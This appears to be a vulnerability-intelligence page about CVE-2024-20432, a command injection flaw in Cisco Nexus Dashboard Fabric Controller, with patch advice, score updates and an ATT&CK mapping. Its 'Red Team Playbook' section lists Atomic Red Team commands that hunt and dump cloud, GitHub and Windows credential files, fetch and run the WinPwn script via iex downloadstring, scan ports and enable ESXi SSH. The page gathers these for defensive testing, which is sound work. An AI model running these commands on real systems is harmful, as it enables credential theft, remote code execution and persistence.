CVE-2024-20432

HIGH Pub 02/10 Upd 02/04

Overview

This vulnerability is a command injection flaw resulting from improper user authorization and insufficient validation of command arguments within the REST API and web UI components of Cisco Nexus Dashboard Fabric Controller (NDFC). Specifically, the affected components fail to adequately sanitize input parameters submitted to certain REST API endpoints and web UI functions, allowing execution of arbitrary CLI commands on managed devices. The issue resides in the command processing logic of the NDFC management interface, excluding SAN controller deployment configurations.

Vulnerability Description

A vulnerability in the REST API and web UI of Cisco Nexus Dashboard Fabric Controller (NDFC) could allow an authenticated, low-privileged, remote attacker to perform a command injection attack against an affected device.   This vulnerability is due to improper user authorization and insufficient validation of command arguments. An attacker could exploit this vulnerability by submitting crafted commands to an affected REST API endpoint or through the web UI. A successful exploit could allow the attacker to execute arbitrary commands on the CLI of a Cisco NDFC-managed device with network-admin privileges.   Note: This vulnerability does not affect Cisco NDFC when it is configured for storage area network (SAN) controller deployment.

Impact

An authenticated attacker with low privileges on the Cisco NDFC management interface can execute arbitrary commands with network-admin privileges on managed devices, enabling full control over device configuration and operation. Exploitation requires network access and valid user credentials but no user interaction. This can lead to unauthorized device manipulation, data compromise, or network disruption. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) indicates network attack with low complexity, requiring low privileges and no user interaction, resulting in high confidentiality, integrity, and availability impact.

Solution

Cisco has released a security advisory (cisco-sa-ndfc-cmdinj-UvYZrKfr) detailing patches that address this command injection vulnerability in Cisco Nexus Dashboard Fabric Controller. Users should apply the updates as specified in the advisory to versions of NDFC not configured for SAN controller deployment. The advisory provides step-by-step patching instructions and recommends verifying deployment configurations to ensure affected components are updated accordingly.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Cisco Nexus Dashboard Fabric Controller (NDFC) arises from improper user authorization and insufficient validation of command arguments within its REST API and web UI. This flaw allows authenticated, low-privileged users to perform command injection attacks. Command injection vulnerabilities occur when an application passes unsafe user-supplied data to a system shell or command interpreter. In this case, the lack of stringent validation mechanisms enables attackers to submit crafted commands that the system may inadvertently execute with elevated privileges, potentially leading to unauthorized access and control over the device's command-line interface (CLI).

Exploitation of this vulnerability can occur through two primary attack vectors: the REST API endpoints and the web UI. An attacker with low-level access could craft malicious requests targeting these interfaces, leveraging the insufficient validation to inject arbitrary commands. For instance, an attacker might manipulate API calls to execute commands that alter device configurations, disrupt services, or extract sensitive information. The ability to execute commands with network-admin privileges significantly amplifies the risk, as it could lead to a complete compromise of the network environment managed by the NDFC.

The real-world impact of this vulnerability is substantial, particularly for organizations relying on Cisco's NDFC for network management. A successful exploitation could lead to severe business risks, including unauthorized network access, data breaches, and service disruptions. The potential for an attacker to manipulate network configurations could result in cascading failures across interconnected systems, leading to downtime and financial losses. Furthermore, the reputational damage from a security breach could erode customer trust and lead to regulatory scrutiny, especially in industries with stringent compliance requirements.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and penetration testing can help identify potential weaknesses in the configuration and usage of the NDFC. Monitoring network traffic for unusual API calls or web UI interactions can also provide early warning signs of exploitation attempts. Additionally, organizations should enforce the principle of least privilege, ensuring that users have only the necessary access rights to perform their roles. Updating the NDFC to the latest version, where security patches are applied, is crucial in closing this vulnerability. Furthermore, implementing robust input validation and sanitization measures in custom applications interfacing with the NDFC can help mitigate the risk of command injection attacks.

In conclusion, the vulnerability within the Cisco Nexus Dashboard Fabric Controller presents a significant threat to organizations leveraging this technology for network management. The potential for command injection attacks highlights the importance of stringent user authorization and input validation. By adopting proactive detection and mitigation strategies, organizations can safeguard their network environments against such vulnerabilities, thereby minimizing the associated risks and ensuring the integrity of their operations.




The CVSS score for CVE-2024-20432 has been revised upward from 8.8 to 9.9, reflecting a reassessment of the vulnerability’s criticality based on its potential impact and exploitability. This adjustment underscores the heightened risk posed by the command injection flaw in Cisco Nexus Dashboard Fabric Controller, particularly given the ease with which an authenticated, low-privileged attacker can leverage insufficient input validation to execute arbitrary commands remotely. Although CSURFACE threat intelligence has not detected new exploit activity or proof-of-concept releases, the elevated severity score signals an increased urgency for defenders to prioritize this vulnerability. The EPSS metric remains stable and low in absolute terms, indicating limited exploitation in the wild at this time; however, the critical CVSS rating suggests that successful exploitation could lead to severe operational disruption or compromise of network management infrastructure. Consequently, the threat level associated with CVE-2024-20432 should be considered critical, warranting heightened vigilance and expedited risk management efforts within affected environments.



Update 2 — June 13, 2026

The recent revision of CVE-2024-20432’s CVSS score from 9.9 to 8.8 reflects a refined understanding of the vulnerability’s exploitability and impact. This adjustment, informed by ongoing analysis and corroborated by stable EPSS metrics, indicates that while the vulnerability remains highly critical, the likelihood of widespread exploitation is somewhat lower than initially assessed. Our telemetry continues to show no emergence of new exploit techniques or active campaigns targeting this flaw, reinforcing the notion that adversaries have yet to operationalize this vector at scale. For defenders, this nuanced downgrade underscores the importance of maintaining vigilance without overestimating immediate threat levels. The threat remains significant due to the potential for command injection in critical network management infrastructure, but the recalibrated score suggests a more measured prioritization relative to other active vulnerabilities. Consequently, the overall risk posture for CVE-2024-20432 is stable but warrants continued monitoring for any shifts in exploitation trends or attacker interest.



Update 3 — July 30, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-20432, with a significant increase in telemetry indicating more frequent attempts to exploit the command injection vulnerability in Cisco Nexus Dashboard Fabric Controller. Although the EPSS score remains largely stable, this surge in detection activity signals growing adversary interest and potential reconnaissance or low-scale probing efforts. The absence of new exploit details suggests that threat actors have not yet developed widely deployable tools, but the increased targeting attempts underscore the vulnerability’s attractiveness for lateral movement or privilege escalation within data center environments. For defenders, this evolving pattern highlights the need for heightened monitoring of REST API and web UI access logs, as well as vigilance for anomalous command execution attempts. While the overall risk rating remains high, the uptick in observed activity elevates the immediacy of the threat, warranting closer scrutiny to detect any transition from opportunistic probing to active exploitation campaigns.



Update 4 — August 17, 2026

CSURFACE threat intelligence has identified a discernible uptick in attempts targeting the CVE-2024-20432 vulnerability, reflected by a moderate increase in detection events across our telemetry. While no new exploit variants or publicly disclosed proof-of-concept codes have surfaced, the heightened probing activity suggests adversaries are intensifying reconnaissance efforts, potentially preparing for more sophisticated exploitation campaigns. This behavioral shift underscores the vulnerability’s continued appeal for threat actors seeking to leverage low-privileged access for command injection, particularly within data center environments where lateral movement and privilege escalation are critical objectives. Although the EPSS score remains stable and low relative to other vulnerabilities, the increase in observed targeting elevates the immediacy of risk, signaling a transition from opportunistic scanning toward more deliberate exploitation attempts. For defenders, this evolving pattern necessitates increased vigilance in monitoring REST API and web UI interactions, as early detection of anomalous command submissions could be pivotal in preempting successful intrusions. Overall, the threat level for CVE-2024-20432 should be considered heightened due to this surge in reconnaissance activity, even in the absence of new exploit tools.

Affected Products (1)

Vendor Product Version CPE
cisco Cisco Nexus Dashboard Fabric Controller All cpe:2.3:a:cisco:nexus_dashboard_fabric_controller:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

8 events
2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
80% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-248 Command Injection
58%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
51%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
45%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
35%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-20432
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ndfc-cmdinj-UvYZrKfr